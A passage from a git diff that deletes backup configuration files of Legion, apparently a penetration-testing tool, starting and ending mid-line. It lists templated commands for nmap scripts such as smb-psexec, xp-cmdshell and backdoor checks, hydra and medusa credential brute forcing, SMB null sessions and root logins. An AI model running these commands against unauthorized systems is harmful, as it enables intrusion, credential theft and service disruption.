--script-args=unsafe=1", irc -irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc -irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc -irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc -ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap -membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" -ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql -ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql -ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql -ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql -ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql -ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql -ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql -ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql -ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql -ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql -msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc -mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s -mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql -mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql -mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql -mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql -mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql -mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql -mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql -mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql -mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql -mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql -mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql -mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql -nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns -nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs -nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs -nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs -nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" -nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], -oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle -oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle -oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns -oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' -oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns -polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" -pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 -pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 -postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql -rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server -realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc -riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" -rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind -rwho=Run rwho, rwho -a [IP], who -samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba -samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" -showmount=Show nfs shares, showmount -e [IP], nfs -smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb -smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb -smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" -smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb -smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb -smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb -smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb -smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb -smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb -smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb -smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb -smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb -smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb -smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb -smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb -smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb -smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb -smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb -smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb -smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb -smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" -smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb -smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp -smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp -smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp -smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp -smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp -snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" -snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp -snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" -snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp -snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp -snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp -snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp -snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp -snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp -snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp -snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp -snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp -snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp -snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" -sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" -sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" -tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp -vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc -vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc -webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" -x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 - -[PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], -ftp=Open with ftp client, ftp [IP] [PORT], ftp -mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" -mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, nc -v [IP] [PORT], -psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres -rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server -rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login -rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" -rsh=Open with rsh, rsh -l root [IP], shell -ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, telnet [IP] [PORT], -vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc -xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp - -[SchedulerSettings] -ftp-default=ftp, tcp -mssql-default=ms-sql-s, tcp -mysql-default=mysql, tcp -nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp -oracle-default=oracle-tns, tcp -postgres-default=postgresql, tcp -screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp -smbenum=microsoft-ds, tcp -smtp-enum-vrfy=smtp, tcp -snmp-default=snmp, udp -snmpcheck=snmp, udp -x11screen=X11, tcp - -[StagedNmapSettings] -stage1-ports="T:80,443" -stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" -stage3-ports="Vulners,CVE" -stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" -stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" -stage6-ports="T:30000-65534,65535" - -[ToolSettings] -cutycapt-path=/usr/bin/cutycapt -hydra-path=/usr/bin/hydra -nmap-path=/usr/bin/nmap -texteditor-path=/usr/bin/leafpad diff --git a/backup/20190301141033994378-legion.conf b/backup/20190301141033994378-legion.conf deleted file mode 100644 index 55f5bfaa..00000000 --- a/backup/20190301141033994378-legion.conf +++ /dev/null @@ -1,318 +0,0 @@ -[BruteSettings] -default-password=password -default-username=root -no-password-services="oracle-sid,rsh,smtp-enum" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ - -[GUISettings] -process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,544,100" -process-tab-detail=False - -[GeneralSettings] -default-terminal=gnome-terminal -enable-scheduler=True -enable-scheduler-on-import=False -max-fast-processes=5 -max-slow-processes=5 -screenshooter-timeout=15000 -tool-output-black-background=False -web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" - -[HostActions] -icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] -nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" -nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" -nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" -nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v - -[PortActions] -banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", -broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql -citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix -citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix -citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix -dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" -enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" -finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger -ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp -ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp -ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp -ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp -ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp -ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp -http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" -http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" -http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" -http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" -http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" -http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" -http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" -http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" -http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" -http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" -http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" -http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" -http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" -http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" -http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" -http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" -http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" -http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" -http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" -http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" -http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" -http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" -http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" -http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" -http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" -http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" -http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" -http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" -http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" -http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" -http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" -http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" -http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" -http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" -http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" -http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" -http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" -http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" -http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" -http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" -http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap 